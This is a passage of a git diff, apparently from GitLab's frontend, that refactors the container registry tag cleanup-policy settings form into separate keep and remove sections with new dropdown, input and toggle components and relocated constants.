+ <template #strong="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ </gl-sprintf>
+ </span>
+ </div>
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/registry/settings/components/registry_settings_app.vue b/app/assets/javascripts/registry/settings/components/registry_settings_app.vue
index 264d39a406a..35c7a8be4ea 100644
--- a/app/assets/javascripts/registry/settings/components/registry_settings_app.vue
+++ b/app/assets/javascripts/registry/settings/components/registry_settings_app.vue
@@ -1,17 +1,17 @@
<script>
import { GlAlert, GlSprintf, GlLink } from '@gitlab/ui';
-import { isEqual, get } from 'lodash';
-import expirationPolicyQuery from '../graphql/queries/get_expiration_policy.graphql';
-import { FETCH_SETTINGS_ERROR_MESSAGE } from '../../shared/constants';
-
-import SettingsForm from './settings_form.vue';
+import { isEqual, get, isEmpty } from 'lodash';
+import expirationPolicyQuery from '../graphql/queries/get_expiration_policy.query.graphql';
import {
+ FETCH_SETTINGS_ERROR_MESSAGE,
UNAVAILABLE_FEATURE_TITLE,
UNAVAILABLE_FEATURE_INTRO_TEXT,
UNAVAILABLE_USER_FEATURE_TEXT,
UNAVAILABLE_ADMIN_FEATURE_TEXT,
} from '../constants';
+import SettingsForm from './settings_form.vue';
+
export default {
components: {
SettingsForm,
@@ -60,6 +60,9 @@ export default {
return this.isAdmin ? UNAVAILABLE_ADMIN_FEATURE_TEXT : UNAVAILABLE_USER_FEATURE_TEXT;
},
isEdited() {
+ if (isEmpty(this.containerExpirationPolicy) && isEmpty(this.workingCopy)) {
+ return false;
+ }
return !isEqual(this.containerExpirationPolicy, this.workingCopy);
},
},
diff --git a/app/assets/javascripts/registry/settings/components/settings_form.vue b/app/assets/javascripts/registry/settings/components/settings_form.vue
index fe4aee6806e..1f374c7b60e 100644
--- a/app/assets/javascripts/registry/settings/components/settings_form.vue
+++ b/app/assets/javascripts/registry/settings/components/settings_form.vue
@@ -1,21 +1,41 @@
<script>
-import { GlCard, GlButton } from '@gitlab/ui';
+import { GlCard, GlButton, GlSprintf } from '@gitlab/ui';
import Tracking from '~/tracking';
import {
UPDATE_SETTINGS_ERROR_MESSAGE,
UPDATE_SETTINGS_SUCCESS_MESSAGE,
-} from '../../shared/constants';
-import ExpirationPolicyFields from '../../shared/components/expiration_policy_fields.vue';
-import { SET_CLEANUP_POLICY_BUTTON, CLEANUP_POLICY_CARD_HEADER } from '../constants';
-import { formOptionsGenerator } from '~/registry/shared/utils';
-import updateContainerExpirationPolicyMutation from '../graphql/mutations/update_container_expiration_policy.graphql';
-import { updateContainerExpirationPolicy } from '../graphql/utils/cache_update';
+ SET_CLEANUP_POLICY_BUTTON,
+ KEEP_HEADER_TEXT,
+ KEEP_INFO_TEXT,
+ KEEP_N_LABEL,
+ NAME_REGEX_KEEP_LABEL,
+ NAME_REGEX_KEEP_DESCRIPTION,
+ REMOVE_HEADER_TEXT,
+ REMOVE_INFO_TEXT,
+ EXPIRATION_SCHEDULE_LABEL,
+ NAME_REGEX_LABEL,
+ NAME_REGEX_PLACEHOLDER,
+ NAME_REGEX_DESCRIPTION,
+ CADENCE_LABEL,
+ EXPIRATION_POLICY_FOOTER_NOTE,
+} from '~/registry/settings/constants';
+import { formOptionsGenerator } from '~/registry/settings/utils';
+import updateContainerExpirationPolicyMutation from '~/registry/settings/graphql/mutations/update_container_expiration_policy.mutation.graphql';
+import { updateContainerExpirationPolicy } from '~/registry/settings/graphql/utils/cache_update';
+import ExpirationDropdown from './expiration_dropdown.vue';
+import ExpirationInput from './expiration_input.vue';
+import ExpirationToggle from './expiration_toggle.vue';
+import ExpirationRunText from './expiration_run_text.vue';
export default {
components: {
GlCard,
GlButton,
- ExpirationPolicyFields,
+ GlSprintf,
+ ExpirationDropdown,
+ ExpirationInput,
+ ExpirationToggle,
+ ExpirationRunText,
},
mixins: [Tracking.mixin()],
inject: ['projectPath'],
@@ -35,22 +55,31 @@ export default {
default: false,
},
},
- labelsConfig: {
- cols: 3,
- align: 'right',
- },
+
formOptions: formOptionsGenerator(),
i18n: {
- CLEANUP_POLICY_CARD_HEADER,
+ KEEP_HEADER_TEXT,
+ KEEP_INFO_TEXT,
+ KEEP_N_LABEL,
+ NAME_REGEX_KEEP_LABEL,
SET_CLEANUP_POLICY_BUTTON,
+ NAME_REGEX_KEEP_DESCRIPTION,
+ REMOVE_HEADER_TEXT,
+ REMOVE_INFO_TEXT,
+ EXPIRATION_SCHEDULE_LABEL,
+ NAME_REGEX_LABEL,
+ NAME_REGEX_PLACEHOLDER,
+ NAME_REGEX_DESCRIPTION,
+ CADENCE_LABEL,
+ EXPIRATION_POLICY_FOOTER_NOTE,
},
data() {
return {
tracking: {
label: 'docker_container_retention_and_expiration_policies',
},
- fieldsAreValid: true,
- apiErrors: null,
+ apiErrors: {},
+ localErrors: {},
mutationLoading: false,
};
},
@@ -66,12 +95,18 @@ export default {
showLoadingIcon() {
return this.isLoading || this.mutationLoading;
},
+ fieldsAreValid() {
+ return Object.values(this.localErrors).every(error => error);
+ },
isSubmitButtonDisabled() {
return !this.fieldsAreValid || this.showLoadingIcon;
},
isCancelButtonDisabled() {
return !this.isEdited || this.isLoading || this.mutationLoading;
},
+ isFieldDisabled() {
+ return this.showLoadingIcon || !this.value.enabled;
+ },
mutationVariables() {
return {
projectPath: this.projectPath,
@@ -90,7 +125,8 @@ export default {
},
reset() {
this.track('reset_form');
- this.apiErrors = null;
+ this.apiErrors = {};
+ this.localErrors = {};
this.$emit('reset');
},
setApiErrors(response) {
@@ -101,9 +137,15 @@ export default {
return acc;
}, {});
},
+ setLocalErrors(state, model) {
+ this.localErrors = {
+ ...this.localErrors,
+ [model]: state,
+ };
+ },
submit() {
this.track('submit_form');
- this.apiErrors = null;
+ this.apiErrors = {};
this.mutationLoading = true;
return this.$apollo
.mutate({
@@ -129,11 +171,9 @@ export default {
this.mutationLoading = false;
});
},
- onModelChange(changePayload) {
- this.$emit('input', changePayload.newValue);
- if (this.apiErrors) {
- this.apiErrors[changePayload.modified] = undefined;
- }
+ onModelChange(newValue, model) {
+ this.$emit('input', { ...this.value, [model]: newValue });
+ this.apiErrors[model] = undefined;
},
},
};
@@ -141,42 +181,133 @@ export default {
<template>
<form ref="form-element" @submit.prevent="submit" @reset.prevent="reset">
- <gl-card>
+ <expiration-toggle
+ :value="prefilledForm.enabled"
+ :disabled="showLoadingIcon"
+ class="gl-mb-0!"
+ data-testid="enable-toggle"
+ @input="onModelChange($event, 'enabled')"
+ />
+
+ <div class="gl-display-flex gl-mt-7">
+ <expiration-dropdown
+ v-model="prefilledForm.cadence"
+ :disabled="isFieldDisabled"
+ :form-options="$options.formOptions.cadence"
+ :label="$options.i18n.CADENCE_LABEL"
+ name="cadence"
+ class="gl-mr-7 gl-mb-0!"
+ data-testid="cadence-dropdown"
+ @input="onModelChange($event, 'cadence')"
+ />
+ <expiration-run-text
+ :value="prefilledForm.nextRunAt"
+ :enabled="prefilledForm.enabled"
+ class="gl-mb-0!"
+ />
+ </div>
+ <gl-card class="gl-mt-7">
<template #header>
- {{ $options.i18n.CLEANUP_POLICY_CARD_HEADER }}
+ {{ $options.i18n.KEEP_HEADER_TEXT }}
</template>
<template #default>
- <expiration-policy-fields
- :value="prefilledForm"
- :form-options="$options.formOptions"
- :is-loading="isLoading"
- :api-errors="apiErrors"
- @validated="fieldsAreValid = true"
- @invalidated="fieldsAreValid = false"
- @input="onModelChange"
- />
+ <div>
+ <p>
+ <gl-sprintf :message="$options.i18n.KEEP_INFO_TEXT">
+ <template #strong="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ <template #secondStrong="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ </gl-sprintf>
+ </p>
+ <expiration-dropdown
+ v-model="prefilledForm.keepN"
+ :disabled="isFieldDisabled"
+ :form-options="$options.formOptions.keepN"
+ :label="$options.i18n.KEEP_N_LABEL"
+ name="keep-n"
+ data-testid="keep-n-dropdown"
+ @input="onModelChange($event, 'keepN')"
+ />
+ <expiration-input
+ v-model="prefilledForm.nameRegexKeep"
+ :error="apiErrors.nameRegexKeep"
+ :disabled="isFieldDisabled"
+ :label="$options.i18n.NAME_REGEX_KEEP_LABEL"
+ :description="$options.i18n.NAME_REGEX_KEEP_DESCRIPTION"
+ name="keep-regex"
+ data-testid="keep-regex-input"
+ @input="onModelChange($event, 'nameRegexKeep')"
+ @validation="setLocalErrors($event, 'nameRegexKeep')"
+ />
+ </div>
</template>
- <template #footer>
- <gl-button
- ref="cancel-button"
- type="reset"
- class="gl-mr-3 gl-display-block float-right"
- :disabled="isCancelButtonDisabled"
- >
- {{ __('Cancel') }}
- </gl-button>
- <gl-button
- ref="save-button"
- type="submit"
- :disabled="isSubmitButtonDisabled"
- :loading="showLoadingIcon"
- variant="success"
- category="primary"
- class="js-no-auto-disable"
- >
- {{ $options.i18n.SET_CLEANUP_POLICY_BUTTON }}
- </gl-button>
+ </gl-card>
+ <gl-card class="gl-mt-7">
+ <template #header>
+ {{ $options.i18n.REMOVE_HEADER_TEXT }}
+ </template>
+ <template #default>
+ <div>
+ <p>
+ <gl-sprintf :message="$options.i18n.REMOVE_INFO_TEXT">
+ <template #strong="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ <template #secondStrong="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ </gl-sprintf>
+ </p>
+ <expiration-dropdown
+ v-model="prefilledForm.olderThan"
+ :disabled="isFieldDisabled"
+ :form-options="$options.formOptions.olderThan"
+ :label="$options.i18n.EXPIRATION_SCHEDULE_LABEL"
+ name="older-than"
+ data-testid="older-than-dropdown"
+ @input="onModelChange($event, 'olderThan')"
+ />
+ <expiration-input
+ v-model="prefilledForm.nameRegex"
+ :error="apiErrors.nameRegex"
+ :disabled="isFieldDisabled"
+ :label="$options.i18n.NAME_REGEX_LABEL"
+ :placeholder="$options.i18n.NAME_REGEX_PLACEHOLDER"
+ :description="$options.i18n.NAME_REGEX_DESCRIPTION"
+ name="remove-regex"
+ data-testid="remove-regex-input"
+ @input="onModelChange($event, 'nameRegex')"
+ @validation="setLocalErrors($event, 'nameRegex')"
+ />
+ </div>
</template>
</gl-card>
+ <div class="gl-mt-7 gl-display-flex gl-align-items-center">
+ <gl-button
+ data-testid="save-button"
+ type="submit"
+ :disabled="isSubmitButtonDisabled"
+ :loading="showLoadingIcon"
+ variant="success"
+ category="primary"
+ class="js-no-auto-disable gl-mr-4"
+ >
+ {{ $options.i18n.SET_CLEANUP_POLICY_BUTTON }}
+ </gl-button>
+ <gl-button
+ data-testid="cancel-button"
+ type="reset"
+ :disabled="isCancelButtonDisabled"
+ class="gl-mr-4"
+ >
+ {{ __('Cancel') }}
+ </gl-button>
+ <span class="gl-font-style-italic gl-text-gray-400">{{
+ $options.i18n.EXPIRATION_POLICY_FOOTER_NOTE
+ }}</span>
+ </div>
</form>
</template>
diff --git a/app/assets/javascripts/registry/settings/constants.js b/app/assets/javascripts/registry/settings/constants.js
index e790658f491..21c54299632 100644
--- a/app/assets/javascripts/registry/settings/constants.js
+++ b/app/assets/javascripts/registry/settings/constants.js
@@ -1,7 +1,6 @@
import { s__, __ } from '~/locale';
-export const SET_CLEANUP_POLICY_BUTTON = s__('ContainerRegistry|Set cleanup policy');
-export const CLEANUP_POLICY_CARD_HEADER = s__('ContainerRegistry|Tag expiration policy');
+export const SET_CLEANUP_POLICY_BUTTON = __('Save');
export const UNAVAILABLE_FEATURE_TITLE = s__(
`ContainerRegistry|Cleanup policy for tags is disabled`,
);
@@ -12,3 +11,81 @@ export const UNAVAILABLE_USER_FEATURE_TEXT = __(`Please contact your administrat
export const UNAVAILABLE_ADMIN_FEATURE_TEXT = s__(
`ContainerRegistry| Please visit the %{linkStart}administration settings%{linkEnd} to enable this feature.`,
);
+
+export const TEXT_AREA_INVALID_FEEDBACK = s__(
+ 'ContainerRegistry|The value of this input should be less than 256 characters',
+);
+
+export const KEEP_HEADER_TEXT = s__('ContainerRegistry|Keep these tags');
+export const KEEP_INFO_TEXT = s__(
+ 'ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept.',
+);
+export const KEEP_N_LABEL = s__('ContainerRegistry|Keep the most recent:');
+export const NAME_REGEX_KEEP_LABEL = s__('ContainerRegistry|Keep tags matching:');
+export const NAME_REGEX_KEEP_DESCRIPTION = s__(
+ 'ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}',
+);
+
+export const REMOVE_HEADER_TEXT = s__('ContainerRegistry|Remove these tags');
+export const REMOVE_INFO_TEXT = s__(
+ 'ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them.',
+);
+export const EXPIRATION_SCHEDULE_LABEL = s__('ContainerRegistry|Remove tags older than:');
+export const NAME_REGEX_LABEL = s__('ContainerRegistry|Remove tags matching:');
+export const NAME_REGEX_PLACEHOLDER = '.*';
+export const NAME_REGEX_DESCRIPTION = s__(
+ 'ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}',
+);
+
+export const ENABLED_TOGGLE_DESCRIPTION = s__(
+ 'ContainerRegistry|%{strongStart}Enabled%{strongEnd} - Tags that match the rules on this page are automatically scheduled for deletion.',
+);
+export const DISABLED_TOGGLE_DESCRIPTION = s__(
+ 'ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted.',
+);
+
+export const CADENCE_LABEL = s__('ContainerRegistry|Run cleanup:');
+
+export const NEXT_CLEANUP_LABEL = s__('ContainerRegistry|Next cleanup scheduled to run on:');
+export const NOT_SCHEDULED_POLICY_TEXT = s__('ContainerRegistry|Not yet scheduled');
+export const EXPIRATION_POLICY_FOOTER_NOTE = s__(
+ 'ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time',
+);
+
+export const KEEP_N_OPTIONS = [
+ { key: 'ONE_TAG', variable: 1, default: false },
+ { key: 'FIVE_TAGS', variable: 5, default: false },
+ { key: 'TEN_TAGS', variable: 10, default: true },
+ { key: 'TWENTY_FIVE_TAGS', variable: 25, default: false },
+ { key: 'FIFTY_TAGS', variable: 50, default: false },
+ { key: 'ONE_HUNDRED_TAGS', variable: 100, default: false },
+];
+
+export const CADENCE_OPTIONS = [
+ { key: 'EVERY_DAY', label: __('Every day'), default: true },
+ { key: 'EVERY_WEEK', label: __('Every week'), default: false },
+ { key: 'EVERY_TWO_WEEKS', label: __('Every two weeks'), default: false },
+ { key: 'EVERY_MONTH', label: __('Every month'), default: false },
+ { key: 'EVERY_THREE_MONTHS', label: __('Every three months'), default: false },
+];
+
+export const OLDER_THAN_OPTIONS = [
+ { key: 'SEVEN_DAYS', variable: 7, default: false },
+ { key: 'FOURTEEN_DAYS', variable: 14, default: false },
+ { key: 'THIRTY_DAYS', variable: 30, default: false },
+ { key: 'NINETY_DAYS', variable: 90, default: true },
+];
+
+export const FETCH_SETTINGS_ERROR_MESSAGE = s__(
+ 'ContainerRegistry|Something went wrong while fetching the cleanup policy.',
+);
+
+export const UPDATE_SETTINGS_ERROR_MESSAGE = s__(
+ 'ContainerRegistry|Something went wrong while updating the cleanup policy.',
+);
+
+export const UPDATE_SETTINGS_SUCCESS_MESSAGE = s__(
+ 'ContainerRegistry|Cleanup policy successfully saved.',
+);
+
+export const NAME_REGEX_LENGTH = 255;
diff --git a/app/assets/javascripts/registry/settings/graphql/fragments/container_expiration_policy.fragment.graphql b/app/assets/javascripts/registry/settings/graphql/fragments/container_expiration_policy.fragment.graphql
index 224e0ed9472..1d6c89133af 100644
--- a/app/assets/javascripts/registry/settings/graphql/fragments/container_expiration_policy.fragment.graphql
+++ b/app/assets/javascripts/registry/settings/graphql/fragments/container_expiration_policy.fragment.graphql
@@ -5,4 +5,5 @@ fragment ContainerExpirationPolicyFields on ContainerExpirationPolicy {
nameRegex
nameRegexKeep
olderThan
+ nextRunAt
}
diff --git a/app/assets/javascripts/registry/settings/graphql/mutations/update_container_expiration_policy.graphql b/app/assets/javascripts/registry/settings/graphql/mutations/update_container_expiration_policy.mutation.graphql
index c40cd115ab0..c40cd115ab0 100644
--- a/app/assets/javascripts/registry/settings/graphql/mutations/update_container_expiration_policy.graphql
+++ b/app/assets/javascripts/registry/settings/graphql/mutations/update_container_expiration_policy.mutation.graphql
diff --git a/app/assets/javascripts/registry/settings/graphql/queries/get_expiration_policy.graphql b/app/assets/javascripts/registry/settings/graphql/queries/get_expiration_policy.query.graphql
index c171be0ad07..c171be0ad07 100644
--- a/app/assets/javascripts/registry/settings/graphql/queries/get_expiration_policy.graphql
+++ b/app/assets/javascripts/registry/settings/graphql/queries/get_expiration_policy.query.graphql
diff --git a/app/assets/javascripts/registry/settings/graphql/utils/cache_update.js b/app/assets/javascripts/registry/settings/graphql/utils/cache_update.js
index 88067d52b51..05b4125a2fc 100644
--- a/app/assets/javascripts/registry/settings/graphql/utils/cache_update.js
+++ b/app/assets/javascripts/registry/settings/graphql/utils/cache_update.js
@@ -1,5 +1,5 @@
import { produce } from 'immer';
-import expirationPolicyQuery from '../queries/get_expiration_policy.graphql';
+import expirationPolicyQuery from '../queries/get_expiration_policy.query.graphql';
export const updateContainerExpirationPolicy = projectPath => (client, { data: updatedData }) => {
const queryAndParams = {
diff --git a/app/assets/javascripts/registry/settings/registry_settings_bundle.js b/app/assets/javascripts/registry/settings/registry_settings_bundle.js
index f7b1c5abd3a..6a4584b1b28 100644
--- a/app/assets/javascripts/registry/settings/registry_settings_bundle.js
+++ b/app/assets/javascripts/registry/settings/registry_settings_bundle.js
@@ -13,7 +13,13 @@ export default () => {
if (!el) {
return null;
}
- const { projectPath, isAdmin, adminSettingsPath, enableHistoricEntries } = el.dataset;
+ const {
+ isAdmin,
+ enableHistoricEntries,
+ projectPath,
+ adminSettingsPath,
+ tagsRegexHelpPagePath,
+ } = el.dataset;
return new Vue({
el,
apolloProvider,
@@ -21,10 +27,11 @@ export default () => {
RegistrySettingsApp,
},
provide: {
- projectPath,
isAdmin: parseBoolean(isAdmin),
- adminSettingsPath,
enableHistoricEntries: parseBoolean(enableHistoricEntries),
+ projectPath,
+ adminSettingsPath,
+ tagsRegexHelpPagePath,
},
render(createElement) {
return createElement('registry-settings-app', {});
diff --git a/app/assets/javascripts/registry/settings/utils.js b/app/assets/javascripts/registry/settings/utils.js
new file mode 100644
index 00000000000..51b4fb6bdb8
--- /dev/null
+++ b/app/assets/javascripts/registry/settings/utils.js
@@ -0,0 +1,26 @@
+import { n__ } from '~/locale';
+import { KEEP_N_OPTIONS, CADENCE_OPTIONS, OLDER_THAN_OPTIONS } from './constants';
+
+export const findDefaultOption = options => {
+ const item = options.find(o => o.default);
+ return item ? item.key : null;
+};
+
+export const olderThanTranslationGenerator = variable => n__('%d day', '%d days', variable);
+
+export const keepNTranslationGenerator = variable =>
+ n__('%d tag per image name', '%d tags per image name', variable);
+
+export const optionLabelGenerator = (collection, translationFn) =>
+ collection.map(option => ({
+ ...option,
+ label: translationFn(option.variable),
+ }));
+
+export const formOptionsGenerator = () => {
+ return {
+ olderThan: optionLabelGenerator(OLDER_THAN_OPTIONS, olderThanTranslationGenerator),
+ cadence: CADENCE_OPTIONS,
+ keepN: optionLabelGenerator(KEEP_N_OPTIONS, keepNTranslationGenerator),
+ };
+};
diff --git a/app/assets/javascripts/registry/shared/components/expiration_policy_fields.vue b/app/assets/javascripts/registry/shared/components/expiration_policy_fields.vue
deleted file mode 100644
index 2b8e9f6ff64..00000000000
--- a/app/assets/javascripts/registry/shared/components/expiration_policy_fields.vue
+++ /dev/null
@@ -1,258 +0,0 @@
-<script>
-import { uniqueId } from 'lodash';
-import { GlFormGroup, GlToggle, GlFormSelect, GlFormTextarea, GlSprintf } from '@gitlab/ui';
-import {
- NAME_REGEX_LENGTH,
- ENABLED_TEXT,
- DISABLED_TEXT,
- TEXT_AREA_INVALID_FEEDBACK,
- EXPIRATION_INTERVAL_LABEL,
- EXPIRATION_SCHEDULE_LABEL,
- KEEP_N_LABEL,
- NAME_REGEX_LABEL,
- NAME_REGEX_PLACEHOLDER,
- NAME_REGEX_DESCRIPTION,
- NAME_REGEX_KEEP_LABEL,
- NAME_REGEX_KEEP_PLACEHOLDER,
- NAME_REGEX_KEEP_DESCRIPTION,
- ENABLE_TOGGLE_LABEL,
- ENABLE_TOGGLE_DESCRIPTION,
-} from '../constants';
-import { mapComputedToEvent } from '../utils';
-
-export default {
- components: {
- GlFormGroup,
- GlToggle,
- GlFormSelect,
- GlFormTextarea,
- GlSprintf,
- },
- props: {
- formOptions: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- apiErrors: {
- type: Object,
- required: false,
- default: null,
- },
- isLoading: {
- type: Boolean,
- required: false,
- default: false,
- },
- value: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- labelCols: {
- type: [Number, String],
- required: false,
- default: 3,
- },
- labelAlign: {
- type: String,
- required: false,
- default: 'right',
- },
- },
- i18n: {
- ENABLE_TOGGLE_LABEL,
- ENABLE_TOGGLE_DESCRIPTION,
- },
- selectList: [
- {
- name: 'expiration-policy-interval',
- label: EXPIRATION_INTERVAL_LABEL,
- model: 'olderThan',
- },
- {
- name: 'expiration-policy-schedule',
- label: EXPIRATION_SCHEDULE_LABEL,
- model: 'cadence',
- },
- {
- name: 'expiration-policy-latest',
- label: KEEP_N_LABEL,
- model: 'keepN',
- },
- ],
- textAreaList: [
- {
- name: 'expiration-policy-name-matching',
- label: NAME_REGEX_LABEL,
- model: 'nameRegex',
- placeholder: NAME_REGEX_PLACEHOLDER,
- description: NAME_REGEX_DESCRIPTION,
- },
- {
- name: 'expiration-policy-keep-name',
- label: NAME_REGEX_KEEP_LABEL,
- model: 'nameRegexKeep',
- placeholder: NAME_REGEX_KEEP_PLACEHOLDER,
- description: NAME_REGEX_KEEP_DESCRIPTION,
- },
- ],
- data() {
- return {
- uniqueId: uniqueId(),
- };
- },
- computed: {
- ...mapComputedToEvent(
- ['enabled', 'cadence', 'olderThan', 'keepN', 'nameRegex', 'nameRegexKeep'],
- 'value',
- ),
- policyEnabledText() {
- return this.enabled ? ENABLED_TEXT : DISABLED_TEXT;
- },
- textAreaValidation() {
- const nameRegexErrors = this.apiErrors?.nameRegex || this.validateRegexLength(this.nameRegex);
- const nameKeepRegexErrors =
- this.apiErrors?.nameRegexKeep || this.validateRegexLength(this.nameRegexKeep);
-
- return {
- /*
- * The state has this form:
- * null: gray border, no message
- * true: green border, no message ( because none is configured)
- * false: red border, error message
- * So in this function we keep null if the are no message otherwise we 'invert' the error message
- */
- nameRegex: {
- state: nameRegexErrors === null ? null : !nameRegexErrors,
- message: nameRegexErrors,
- },
- nameRegexKeep: {
- state: nameKeepRegexErrors === null ? null : !nameKeepRegexErrors,
- message: nameKeepRegexErrors,
- },
- };
- },
- fieldsValidity() {
- return (
- this.textAreaValidation.nameRegex.state !== false &&
- this.textAreaValidation.nameRegexKeep.state !== false
- );
- },
- isFormElementDisabled() {
- return !this.enabled || this.isLoading;
- },
- },
- watch: {
- fieldsValidity: {
- immediate: true,
- handler(valid) {
- if (valid) {
- this.$emit('validated');
- } else {
- this.$emit('invalidated');
- }
- },
- },
- },
- methods: {
- validateRegexLength(value) {
- if (!value) {
- return null;
- }
- return value.length <= NAME_REGEX_LENGTH ? '' : TEXT_AREA_INVALID_FEEDBACK;
- },
- idGenerator(id) {
- return `${id}_${this.uniqueId}`;
- },
- updateModel(value, key) {
- this[key] = value;
- },
- },
-};
-</script>
-
-<template>
- <div ref="form-elements" class="gl-line-height-20">
- <gl-form-group
- :id="idGenerator('expiration-policy-toggle-group')"
- :label-cols="labelCols"
- :label-align="labelAlign"
- :label-for="idGenerator('expiration-policy-toggle')"
- :label="$options.i18n.ENABLE_TOGGLE_LABEL"
- >
- <div class="gl-display-flex">
- <gl-toggle
- :id="idGenerator('expiration-policy-toggle')"
- v-model="enabled"
- :disabled="isLoading"
- />
- <span class="gl-mb-3 gl-ml-3 gl-line-height-20">
- <gl-sprintf :message="$options.i18n.ENABLE_TOGGLE_DESCRIPTION">
- <template #toggleStatus>
- <strong>{{ policyEnabledText }}</strong>
- </template>
- </gl-sprintf>
- </span>
- </div>
- </gl-form-group>
-
- <gl-form-group
- v-for="select in $options.selectList"
- :id="idGenerator(`${select.name}-group`)"
- :key="select.name"
- :label-cols="labelCols"
- :label-align="labelAlign"
- :label-for="idGenerator(select.name)"
- :label="select.label"
- >
- <gl-form-select
- :id="idGenerator(select.name)"
- :value="value[select.model]"
- :disabled="isFormElementDisabled"
- @input="updateModel($event, select.model)"
- >
- <option v-for="option in formOptions[select.model]" :key="option.key" :value="option.key">
- {{ option.label }}
- </option>
- </gl-form-select>
- </gl-form-group>
-
- <gl-form-group
- v-for="textarea in $options.textAreaList"
- :id="idGenerator(`${textarea.name}-group`)"
- :key="textarea.name"
- :label-cols="labelCols"
- :label-align="labelAlign"
- :label-for="idGenerator(textarea.name)"
- :state="textAreaValidation[textarea.model].state"
- :invalid-feedback="textAreaValidation[textarea.model].message"
- >
- <template #label>
- <gl-sprintf :message="textarea.label">
- <template #italic="{content}">
- <i>{{ content }}</i>
- </template>
- </gl-sprintf>
- </template>
- <gl-form-textarea
- :id="idGenerator(textarea.name)"
- :value="value[textarea.model]"
- :placeholder="textarea.placeholder"
- :state="textAreaValidation[textarea.model].state"
- :disabled="isFormElementDisabled"
- trim
- @input="updateModel($event, textarea.model)"
- />
- <template #description>
- <span ref="regex-description">
- <gl-sprintf :message="textarea.description">
- <template #code="{content}">
- <code>{{ content }}</code>
- </template>
- </gl-sprintf>
- </span>
- </template>
- </gl-form-group>
- </div>
-</template>
diff --git a/app/assets/javascripts/registry/shared/constants.js b/app/assets/javascripts/registry/shared/constants.js
deleted file mode 100644
index d1e3d93938b..00000000000
--- a/app/assets/javascripts/registry/shared/constants.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import { s__, __ } from '~/locale';
-
-export const FETCH_SETTINGS_ERROR_MESSAGE = s__(
- 'ContainerRegistry|Something went wrong while fetching the cleanup policy.',
-);
-
-export const UPDATE_SETTINGS_ERROR_MESSAGE = s__(
- 'ContainerRegistry|Something went wrong while updating the cleanup policy.',
-);
-
-export const UPDATE_SETTINGS_SUCCESS_MESSAGE = s__(
- 'ContainerRegistry|Cleanup policy successfully saved.',
-);
-
-export const NAME_REGEX_LENGTH = 255;
-
-export const ENABLED_TEXT = __('Enabled');
-export const DISABLED_TEXT = __('Disabled');
-
-export const ENABLE_TOGGLE_LABEL = s__('ContainerRegistry|Cleanup policy:');
-export const ENABLE_TOGGLE_DESCRIPTION = s__(
- 'ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion',
-);
-
-export const TEXT_AREA_INVALID_FEEDBACK = s__(
- 'ContainerRegistry|The value of this input should be less than 256 characters',
-);
-
-export const EXPIRATION_INTERVAL_LABEL = s__('ContainerRegistry|Expiration interval:');
-export const EXPIRATION_SCHEDULE_LABEL = s__('ContainerRegistry|Expiration schedule:');
-export const KEEP_N_LABEL = s__('ContainerRegistry|Number of tags to retain:');
-export const NAME_REGEX_LABEL = s__(
- 'ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}',
-);
-export const NAME_REGEX_PLACEHOLDER = '';
-export const NAME_REGEX_DESCRIPTION = s__(
- 'ContainerRegistry|Wildcards such as %{codeStart}.*-test%{codeEnd} or %{codeStart}dev-.*%{codeEnd} are supported. To select all tags, use %{codeStart}.*%{codeEnd}',
-);
-export const NAME_REGEX_KEEP_LABEL = s__(
- 'ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}',
-);
-export const NAME_REGEX_KEEP_PLACEHOLDER = '';
-export const NAME_REGEX_KEEP_DESCRIPTION = s__(
- 'ContainerRegistry|Wildcards such as %{codeStart}.*-master%{codeEnd} or %{codeStart}release-.*%{codeEnd} are supported',
-);
-
-export const KEEP_N_OPTIONS = [
- { variable: 1, key: 'ONE_TAG', default: false },
- { variable: 5, key: 'FIVE_TAGS', default: false },
- { variable: 10, key: 'TEN_TAGS', default: true },
- { variable: 25, key: 'TWENTY_FIVE_TAGS', default: false },
- { variable: 50, key: 'FIFTY_TAGS', default: false },
- { variable: 100, key: 'ONE_HUNDRED_TAGS', default: false },
-];
-
-export const CADENCE_OPTIONS = [
- { key: 'EVERY_DAY', label: __('Every day'), default: true },
- { key: 'EVERY_WEEK', label: __('Every week'), default: false },
- { key: 'EVERY_TWO_WEEKS', label: __('Every two weeks'), default: false },
- { key: 'EVERY_MONTH', label: __('Every month'), default: false },
- { key: 'EVERY_THREE_MONTHS', label: __('Every three months'), default: false },
-];
-
-export const OLDER_THAN_OPTIONS = [
- { key: 'SEVEN_DAYS', variable: 7, default: false },
- { key: 'FOURTEEN_DAYS', variable: 14, default: false },
- { key: 'THIRTY_DAYS', variable: 30, default: false },
- { key: 'NINETY_DAYS', variable: 90, default: true },
-];
diff --git a/app/assets/javascripts/registry/shared/utils.js b/app/assets/javascripts/registry/shared/utils.js
deleted file mode 100644
index bdf1ab9507d..00000000000
--- a/app/assets/javascripts/registry/shared/utils.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import { n__ } from '~/locale';
-import { KEEP_N_OPTIONS, CADENCE_OPTIONS, OLDER_THAN_OPTIONS } from './constants';
-
-export const findDefaultOption = options => {
- const item = options.find(o => o.default);
- return item ? item.key : null;
-};
-
-export const mapComputedToEvent = (list, root) => {
- const result = {};
- list.forEach(e => {
- result[e] = {
- get() {
- return this[root][e];
- },
- set(value) {
- this.$emit('input', { newValue: { ...this[root], [e]: value }, modified: e });
- },
- };
- });
- return result;
-};
-
-export const olderThanTranslationGenerator = variable =>
- n__(
